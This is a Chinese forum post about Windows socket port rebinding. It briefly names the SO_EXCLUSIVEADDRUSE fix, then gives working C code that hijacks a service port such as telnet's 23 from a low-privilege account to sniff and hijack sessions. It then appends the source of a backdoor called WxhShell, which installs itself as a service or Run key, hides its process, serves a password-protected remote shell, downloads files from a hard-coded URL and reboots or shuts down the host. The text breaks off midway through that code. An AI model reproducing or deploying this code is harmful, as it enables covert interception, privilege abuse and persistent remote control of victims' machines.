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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [MXyOE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?A]/ M~3B  
k3CHv=U{  
  saddr.sin_family = AF_INET; 2|\WaH9P  
TD.t)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h$l`)AH^  
L}=t"y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K,5_{pj  
M REB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;Z.sK-NJ4  
p1!-|Sqq  
  这意味着什么?意味着可以进行如下的攻击: Av>xgfX  
o3cE.YUF  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~xt]g zp{  
&fe67#0r)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $EG9V++b3  
V='A;gs  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6Z<|L^  
F/u i(4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  . L9n  
&$yDnSt\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N{#9gr3zi  
yA~1$sA1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 d]vom@iI  
y<kg;-& 8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s1bb2R  
uaqV)H  
  #include w*\JA+  
  #include 2sYz$ZGC"#  
  #include :u`gjj$:s  
  #include    KM9H<;A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   nQ@<[KNd  
  int main() 4}-G<7*  
  { m:Fdgu9  
  WORD wVersionRequested; lUIh0%O  
  DWORD ret; sspGB>h8l  
  WSADATA wsaData;  y7vA[us  
  BOOL val; L, 2;-b|  
  SOCKADDR_IN saddr; H"c2kno9  
  SOCKADDR_IN scaddr; fyEXnmB;  
  int err; VE)) `?  
  SOCKET s; v;#0h7qd  
  SOCKET sc; bFVY&  
  int caddsize; qRL45[ K  
  HANDLE mt; Ac'pu,v  
  DWORD tid;   gjzU%{T ?  
  wVersionRequested = MAKEWORD( 2, 2 ); ',!>9Dj  
  err = WSAStartup( wVersionRequested, &wsaData ); r0s(MyI  
  if ( err != 0 ) { {hoe^07XK  
  printf("error!WSAStartup failed!\n"); 4+:'$Nw  
  return -1; Ctbc!<@o  
  } :A+}fB IN  
  saddr.sin_family = AF_INET; <07]w$m/  
   eq@-J+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lE$(*1H  
d^8n  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); oG\lejO  
  saddr.sin_port = htons(23); 3Xm> 3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MS\?+8|SV(  
  { ;Kh?iq n^  
  printf("error!socket failed!\n"); 0|ekwTx.  
  return -1; v oO7W"  
  } \46*4?pP  
  val = TRUE; W4(GI]`_+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ccT <UIpq  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wQ8<%qi"L  
  { 3|%058bF  
  printf("error!setsockopt failed!\n"); Ymf@r?F<  
  return -1; R&Ss ET.  
  } LTuT"}dT[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %<`sDO6Q?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |Mgzb0_IiQ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 IY|`$sHb  
S0ltj8t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) iUs_)1  
  { 7g:Lj,Z4L  
  ret=GetLastError(); a:;7'w'  
  printf("error!bind failed!\n"); s^m`qi(H  
  return -1; #Jt1AV  
  } sRZ?Ilua6  
  listen(s,2); ([#'G+MC&  
  while(1) \-sW>LIA  
  { O* lE0~rJ  
  caddsize = sizeof(scaddr); Zu 4au<  
  //接受连接请求 gf}*}8D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !s:_>P`MQ  
  if(sc!=INVALID_SOCKET) }z,9!{~`  
  { ].sD#~L_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /1_O5'5+v  
  if(mt==NULL) 0O>M/ *W  
  { CR;E*I${  
  printf("Thread Creat Failed!\n"); ""Oir!4  
  break; 85$ WH  
  } gyegdky3  
  } HD3WsIim*  
  CloseHandle(mt); &[SFl{fx>-  
  } P4.)kK.3q|  
  closesocket(s); iP@ FXJJ  
  WSACleanup(); )&Z`SaoP|J  
  return 0; @pH6FXVGzt  
  }   PF#<CF$=  
  DWORD WINAPI ClientThread(LPVOID lpParam)  P1)87P  
  { `P <#kt  
  SOCKET ss = (SOCKET)lpParam; IusZYB  
  SOCKET sc; :*^aSPlV  
  unsigned char buf[4096]; A%x0'?GU  
  SOCKADDR_IN saddr; FHEP/T\5  
  long num; 3177R>0  
  DWORD val; j-VwY/X  
  DWORD ret; UZ "!lpg  
  //如果是隐藏端口应用的话,可以在此处加一些判断 sbhzER  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [rW];H8:~  
  saddr.sin_family = AF_INET; x-W~&`UU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j"fx|6l)  
  saddr.sin_port = htons(23); q8n@fi6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y#8 W1%{x  
  { i`W~-J  
  printf("error!socket failed!\n"); QcJC:sP\>  
  return -1; C%{2 sMJz  
  } 78 ]Kv^l^_  
  val = 100; ;?q}98-2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) < Wp)Y  
  { \3"B$Sp|=  
  ret = GetLastError(); Vw.)T/B_D  
  return -1; G B"Orm.  
  } !"&-k:|g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bC98<if  
  { =qpGAv_#  
  ret = GetLastError(); :U/]*0b  
  return -1; <Q"G aqZ  
  } :RxMZwa=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s:_a.4&Y  
  { wwQ2\2w>Hm  
  printf("error!socket connect failed!\n"); H=w):kL|  
  closesocket(sc); vVIN D  
  closesocket(ss); J*Ie# :J]  
  return -1; '[HQ}Wvn  
  } A?$-Uqb"  
  while(1) LI&E.(:  
  { yla- X|>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z>iXNwz"?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7l[ @c|e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .tppCy  
  num = recv(ss,buf,4096,0); #:P$a%V  
  if(num>0) xx|D#Z}G  
  send(sc,buf,num,0); Yl lZ5<}  
  else if(num==0) G-|c%g!ejf  
  break; ]$ Nhy8-  
  num = recv(sc,buf,4096,0); :zq Un&k&  
  if(num>0) fR~0Fy Gp  
  send(ss,buf,num,0); 023uAaI^3r  
  else if(num==0) !#WQ8s!?o  
  break; HFTeG4R  
  } WTM  
  closesocket(ss); BDzAmrO<  
  closesocket(sc); "Nb2[R  
  return 0 ; g/ShC8@=u  
  } Rm}5AJ  
`LLmdm 6i  
IVZUB*wv)b  
========================================================== lJ]QAO  
Lwx J:Kz.  
下边附上一个代码,,WXhSHELL 5uahfJk  
_9H]:]1QH  
========================================================== DpeJx  
q }>3NCh  
#include "stdafx.h" JZ![:$:  
D`!BjhlW  
#include <stdio.h> XP0;Q;WF}  
#include <string.h> l2YClK  
#include <windows.h> 3c7i8b$  
#include <winsock2.h> oNw=O>v  
#include <winsvc.h> Bq HqS  
#include <urlmon.h> ,H,[ )8  
cYe2 a "  
#pragma comment (lib, "Ws2_32.lib") FG{,l=Z0  
#pragma comment (lib, "urlmon.lib") !OQ5AF$  
I{>Z0+  
#define MAX_USER   100 // 最大客户端连接数 ,!alNNY  
#define BUF_SOCK   200 // sock buffer `q* p-Ju'  
#define KEY_BUFF   255 // 输入 buffer ]+m 2pEO  
1 I.P7_/  
#define REBOOT     0   // 重启 9W]OtSG  
#define SHUTDOWN   1   // 关机 }uC]o@/  
8@(?E[&O>  
#define DEF_PORT   5000 // 监听端口 &4}=@'G@  
kZ)}tA7j  
#define REG_LEN     16   // 注册表键长度 _deEs5i  
#define SVC_LEN     80   // NT服务名长度 ! l0"nPM=  
p=A, yGDV  
// 从dll定义API #_aq@)Fd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~/)]`w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sR83e|4I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R) dP=W*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mVYfyLZ,(  
%C qp88]  
// wxhshell配置信息 $oM>?h_ =  
struct WSCFG { mIDVN  
  int ws_port;         // 监听端口 \xl$z *zI  
  char ws_passstr[REG_LEN]; // 口令 |39,n~"o&  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7)[Ve1;/N  
  char ws_regname[REG_LEN]; // 注册表键名 Sew*0S(  
  char ws_svcname[REG_LEN]; // 服务名 GH-Fqz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P7,g^:$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Br}@Vvq@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ENr#3+m$;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #\}FQl6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ug546Bz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {5{VGAD&]>  
na~ FT[3 C  
}; Me? I8:/  
k[ D,du')  
// default Wxhshell configuration jVN06,3z  
struct WSCFG wscfg={DEF_PORT, NQ[X=a8N  
    "xuhuanlingzhe", ZYY2pY 1  
    1, P*7G?  
    "Wxhshell", Y Z8[h`z  
    "Wxhshell", >K4Nn(~ys  
            "WxhShell Service", 0&I*)Zt9x  
    "Wrsky Windows CmdShell Service", Ly^bP>2i  
    "Please Input Your Password: ", )D/ ,QWk  
  1, w}OBp^V^  
  "http://www.wrsky.com/wxhshell.exe", lOeX5%$Z  
  "Wxhshell.exe" !1i-"rR  
    }; /Mw;oP{&b  
)fIG4#%\  
// 消息定义模块 $.d,>F6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l-v m`-_#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f -F}~S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b/R7 Mk1  
char *msg_ws_ext="\n\rExit."; n-jPb064  
char *msg_ws_end="\n\rQuit."; o_mjI:  
char *msg_ws_boot="\n\rReboot..."; <dD!_S6@,  
char *msg_ws_poff="\n\rShutdown..."; ~@l4T_,k  
char *msg_ws_down="\n\rSave to "; bfoTGi  
uHZ4 @ w:  
char *msg_ws_err="\n\rErr!"; 6.KEe^[-  
char *msg_ws_ok="\n\rOK!"; ] L#c <0  
Jh&DL8`  
char ExeFile[MAX_PATH]; M@h"FuX:  
int nUser = 0; :n{{\SSIgX  
HANDLE handles[MAX_USER]; ~M H ^R1=]  
int OsIsNt; L8h!%56s  
^zO{Aks  
SERVICE_STATUS       serviceStatus; 'fb\t,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FI?J8a  
c;X,-Q9  
// 函数声明 (2> q  
int Install(void); vWESu4W`L  
int Uninstall(void); h~9P3 4m  
int DownloadFile(char *sURL, SOCKET wsh); F$ G)vskd  
int Boot(int flag); '5$@ I{z  
void HideProc(void); k]r4b`x`  
int GetOsVer(void); C^4,L \E  
int Wxhshell(SOCKET wsl); 3fQ`}OcNr  
void TalkWithClient(void *cs); }cCIYt\RK  
int CmdShell(SOCKET sock); &Lt$~}*&6  
int StartFromService(void); #'> )?]tn  
int StartWxhshell(LPSTR lpCmdLine); Bx5xtJ|!  
|J:r]);@K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #CI0G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \rxjvV4fcZ  
z{w %pUn}  
// 数据结构和表定义 :X'B K4EN  
SERVICE_TABLE_ENTRY DispatchTable[] = [[<TW}  
{ uQdy  
{wscfg.ws_svcname, NTServiceMain}, =gJ{75tV3  
{NULL, NULL} nyR<pnuC'  
}; 62'9lriQ  
4Ps;Cor+  
// 自我安装 zw+wq+2"  
int Install(void) =Jw*T[E  
{ Fs4shrt  
  char svExeFile[MAX_PATH]; N_B^k8j  
  HKEY key; q|]CA  
  strcpy(svExeFile,ExeFile); l]wLQqoO  
,qp8Rg|3j  
// 如果是win9x系统,修改注册表设为自启动 N]/cBGy  
if(!OsIsNt) { GU/P%c/V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :nb|WgEc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &gS-.{w "  
  RegCloseKey(key); B%Qo6*b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mCg^Y)Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Qu'#~#L`  
  RegCloseKey(key); qCrpc=  
  return 0; 0F- +)S?M[  
    } &)tv4L&  
  } 9<3}zwJ  
} 4V,p\$;  
else { )ADI[+KW  
mUP!jTF  
// 如果是NT以上系统,安装为系统服务 /P9fcNP{y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4FYV]p8f  
if (schSCManager!=0) ZaY|v-  
{ G?,3Zn0  
  SC_HANDLE schService = CreateService  Hk4k  
  ( J?Y,3cc.  
  schSCManager, /2=9i84  
  wscfg.ws_svcname, PD S( /x&  
  wscfg.ws_svcdisp, 7@gH{p1  
  SERVICE_ALL_ACCESS, QwG_-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZEDvY=@a   
  SERVICE_AUTO_START, q+8de_"]  
  SERVICE_ERROR_NORMAL, AHuIA{AdUR  
  svExeFile, [+b8 !'|&  
  NULL, #0h}{y E  
  NULL, a)r["*bTx  
  NULL, A*+gWn,4Y_  
  NULL, (c}!gjm  
  NULL yLCMu | +  
  ); X0j>g^b8  
  if (schService!=0) W(ryL_#;  
  { fHZ9wK>  
  CloseServiceHandle(schService); @ls/3`E/5E  
  CloseServiceHandle(schSCManager); _\k?uUo&,^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;! ?l8R  
  strcat(svExeFile,wscfg.ws_svcname); 85dC6wI4K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q -$) H;,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f &NX~(  
  RegCloseKey(key); X)RgXl{  
  return 0; 5K?/-0yG  
    } IOxtuR  
  } 5$:9nPAH  
  CloseServiceHandle(schSCManager); +$>aT (q  
} K5`*Y@  
} (AjgLNB  
f0^s<:*  
return 1; fsEQ4xN'  
} E6xdPjoWy  
hfbu+w):  
// 自我卸载 {0,6- dd5  
int Uninstall(void) sx7zRw >X  
{ oBub]<.J  
  HKEY key; { )b  
#d[Nm+~ko  
if(!OsIsNt) { & uwOyb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VR"le&'z"  
  RegDeleteValue(key,wscfg.ws_regname); \X(*JNQ  
  RegCloseKey(key); SzeY?04zj:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P$y'``  
  RegDeleteValue(key,wscfg.ws_regname); q4!\^HwQ  
  RegCloseKey(key); vY.VFEP/  
  return 0; dJrUcZBr  
  } CflyK@  
} 6Ktq7'Z@  
} +{;wOQ.  
else { 1D [>oK\  
&CXk=Wj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /L(}VJg-  
if (schSCManager!=0) Hq>hnCT  
{ ] FvGAG.*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6)i>qz).  
  if (schService!=0) 1K|F;p  
  { FY)]yz  
  if(DeleteService(schService)!=0) { Oop6o $k  
  CloseServiceHandle(schService); +zDRed_]=_  
  CloseServiceHandle(schSCManager); ^gyI-S(;  
  return 0; N5K2Hv<"  
  } 1VG]|6f  
  CloseServiceHandle(schService); H ~fF; I  
  } @U?&1.\  
  CloseServiceHandle(schSCManager); %52x:qGa  
} )J+OyR=  
} }#&[[}@th  
9qGba=}Ey  
return 1; :,$"Gk  
} E^{!B]/oP  
*+6iXMwe  
// 从指定url下载文件 (5:pHX`P  
int DownloadFile(char *sURL, SOCKET wsh) ()t~X Q  
{ ='1hvv/  
  HRESULT hr; j bT{K|d-  
char seps[]= "/"; 6v%ePFul  
char *token; ]^wr+9zd  
char *file; If&y 5C  
char myURL[MAX_PATH]; )OQ<H.X  
char myFILE[MAX_PATH]; ?0sTx6x@  
GCr]x '  
strcpy(myURL,sURL); n?D/bXp  
  token=strtok(myURL,seps); ?5};ONjN  
  while(token!=NULL) e_!Z-#\J%  
  { hHDLrr  
    file=token; bJ6C7-w:wa  
  token=strtok(NULL,seps); Q;q{1M>  
  } T?Z^2.Pvc  
\C>vj+!cJ  
GetCurrentDirectory(MAX_PATH,myFILE); j}tGcFwvSN  
strcat(myFILE, "\\"); ^ )!eiM  
strcat(myFILE, file); X6w+L?A  
  send(wsh,myFILE,strlen(myFILE),0); i+T5 (P$  
send(wsh,"...",3,0); -jrAk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GCw4sb4~w  
  if(hr==S_OK) `@ ,Vbn^_  
return 0; G[_Z|Xi1  
else OfA+|xT&  
return 1; VhMVoW  
# &5.   
} \3K7)o^  
GA[bo)"  
// 系统电源模块 qq[Dr|%7  
int Boot(int flag) &0G9v  
{ EX, {1^h  
  HANDLE hToken; -,g.39u  
  TOKEN_PRIVILEGES tkp; .YB/7-%M[  
.rwW5"RPq  
  if(OsIsNt) { Nq9M$Nt]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;+o6"ky5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #CyqiOM\*  
    tkp.PrivilegeCount = 1; }F9#3W&`c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q 9f5}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "8U=0a  
if(flag==REBOOT) { BKE?o^03  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >/}p{Tj  
  return 0; s!MD8i a  
} kj4=Q\Rfm  
else { 5X5UUdTM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @y * TVy  
  return 0; rHOhi|+  
} `e3$jy@  
  } JwWxM3(%t  
  else { T9kc(i'  
if(flag==REBOOT) { 9CN'2 9c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B` +, 8  
  return 0; v*As:;D_  
} ~mK +Q%G5  
else { Gp)J[8j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w"QZ7EyJ  
  return 0; 2_M+o]Z^  
} }o[<1+W(.  
} q j9q   
61gyx6v  
return 1; Ar?ZUASJ  
} _T8S4s8q  
Wy-y-wi:p  
// win9x进程隐藏模块 ;<b7kepR  
void HideProc(void) C#)T$wl[E  
{ yn<J>e  
j]R[;8g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $o$WFV+h  
  if ( hKernel != NULL ) UH\{:@GjNO  
  { ^si[L52BZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )z4eRs F|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {7%HK2='  
    FreeLibrary(hKernel); Z6Kp-z(l3  
  } e0Gs|c+6  
L8 NZU*"  
return; GY0OVAW6'c  
} TGPZUyi3!=  
Lz:FR*  
// 获取操作系统版本 Q0x?OL]A  
int GetOsVer(void) MOp "kA  
{ oEFo7X`t  
  OSVERSIONINFO winfo; _RZ"WA^[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZB/1I;l`c  
  GetVersionEx(&winfo); U&a(WQV9&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]gaeN2  
  return 1; 8xh x*A  
  else Acd@BL*  
  return 0; qZ@d:u  
} >dD$GD{  
cN&:V2,  
// 客户端句柄模块 BB(v,W  
int Wxhshell(SOCKET wsl) r=A A /n<  
{ koD}o^U#  
  SOCKET wsh; KHJ wCv  
  struct sockaddr_in client; EN}XIa>R  
  DWORD myID; aD_7^8>  
.n)R@&9  
  while(nUser<MAX_USER) Zkqq<  
{ -"H0Qafm  
  int nSize=sizeof(client); gjX1z{{~L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5 ddfdIp  
  if(wsh==INVALID_SOCKET) return 1; p0]\QM l1  
k#8`996P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R osU~OK  
if(handles[nUser]==0) KT>Y^  
  closesocket(wsh); l+hOD{F4pS  
else u=vBjaN2_w  
  nUser++; 2efdJ&eIV  
  } 8ZM#.yB B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oayu*a.  
-p>1:M <  
  return 0; #M+_Lk3  
} .]JIo&>5  
k*\)z\f  
// 关闭 socket Iw h0PfWJ  
void CloseIt(SOCKET wsh) dga4|7-MY  
{ [C<K~  
closesocket(wsh); l(}L-:@A  
nUser--; V3r)u\ o'  
ExitThread(0); @pYC!;n+  
} la!U  
-"i $^Q`  
// 客户端请求句柄 ]*lZFP~  
void TalkWithClient(void *cs) [6_.Y*}N  
{  .P")S|  
mU?~s7  
  SOCKET wsh=(SOCKET)cs; uozq^sy  
  char pwd[SVC_LEN]; 8~s0%%{,M  
  char cmd[KEY_BUFF]; d,Oagx  
char chr[1]; \@N~{72:k  
int i,j; g7*Uuh#  
gH\>", [  
  while (nUser < MAX_USER) { 748:* (O  
HpfZgkC+  
if(wscfg.ws_passstr) { H)"]I3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vD?D]8.F~Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O"\_%=X9  
  //ZeroMemory(pwd,KEY_BUFF); bGK*1FlH  
      i=0; k<+Sj h$  
  while(i<SVC_LEN) { X"r.*fb;N  
YZSQOLN{  
  // 设置超时 Ldv,(ZV,<  
  fd_set FdRead; o$+R  
  struct timeval TimeOut; -1v9  
  FD_ZERO(&FdRead); _;Xlw{FN^  
  FD_SET(wsh,&FdRead); )z18:C3  
  TimeOut.tv_sec=8; @U1|?~M%s  
  TimeOut.tv_usec=0; r =vY-p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Pc< "qy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :9%e:-  
c ^.^5@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D M+MBK  
  pwd=chr[0]; I9>vm]  
  if(chr[0]==0xd || chr[0]==0xa) { &0%Z b~ts  
  pwd=0; F --b,,  
  break; dg|x(p#  
  } SOM? 0.  
  i++; T#E$sZ  
    } YGLq ~A  
v~T)g"_|  
  // 如果是非法用户,关闭 socket /Wjc\n$'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <2&qIvHL  
} 0a8\{(w  
h-;> v.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <jF&+[*iT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S Z/yijf  
bPP@  
while(1) { ipp`99  
X{, mj"(w  
  ZeroMemory(cmd,KEY_BUFF); ex1!7A!}g  
N|2d9E  
      // 自动支持客户端 telnet标准   a{^z= =  
  j=0; 4dCXBTT  
  while(j<KEY_BUFF) { etiUt~W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M:%g)FgW  
  cmd[j]=chr[0]; :/szA?:W  
  if(chr[0]==0xa || chr[0]==0xd) { iQ8{N:58DN  
  cmd[j]=0; -Pt E+R[A  
  break; RH _b  
  } eF.nNu  
  j++; Z$KyK.FUU  
    } i7r)9^y  
xZ;eV76  
  // 下载文件 7qOkv1.}0  
  if(strstr(cmd,"http://")) { )D6 i {I0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gWa0x-  
  if(DownloadFile(cmd,wsh)) 0|tyKP|J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `^hA&/1  
  else |gP)lR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *P/A&"i[E  
  } l9=Ka{$^*  
  else { ;w"h n*  
3!gz^[!?EN  
    switch(cmd[0]) { #t(/wa4  
  { >[ ]iX  
  // 帮助 V61oK  
  case '?': { .[]S!@+%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H,w8+vZ4\  
    break; JvW7h(u7g  
  } 85Yi2+8f4  
  // 安装 L%5y@b{AR  
  case 'i': { p.g>+7  
    if(Install()) gAsmPI.K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .$x}~Sw  
    else BV>9U5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1) 2-UT  
    break; a BMV6'  
    } 8\' tfHL  
  // 卸载 |g^YD;9s.  
  case 'r': { PDA9.b<q0  
    if(Uninstall()) L3wj vq^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :M{ )&{D  
    else r`6f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2INpo  
    break; W? 4:sLC#3  
    } \ { QH^  
  // 显示 wxhshell 所在路径 J9 NuqV3  
  case 'p': { gTTKjlI [  
    char svExeFile[MAX_PATH]; ^i_v\E[QU  
    strcpy(svExeFile,"\n\r"); yQj J-g(.  
      strcat(svExeFile,ExeFile); I F!xZ6X8  
        send(wsh,svExeFile,strlen(svExeFile),0); T|S-?X,  
    break; ;ZI8vF b  
    } i7h^L)M  
  // 重启 sB *dv06b0  
  case 'b': { R-Lpgi<a"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [3-u7Fx!  
    if(Boot(REBOOT)) .Er+*j;&w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1/:vFX  
    else { 6-"tQ,AZ  
    closesocket(wsh); 3Q62H+MC  
    ExitThread(0); B\rY\  
    } PZV>A!7C8n  
    break; <HRPloVKo  
    } ]$ s)6)kW  
  // 关机 t-C|x)J+  
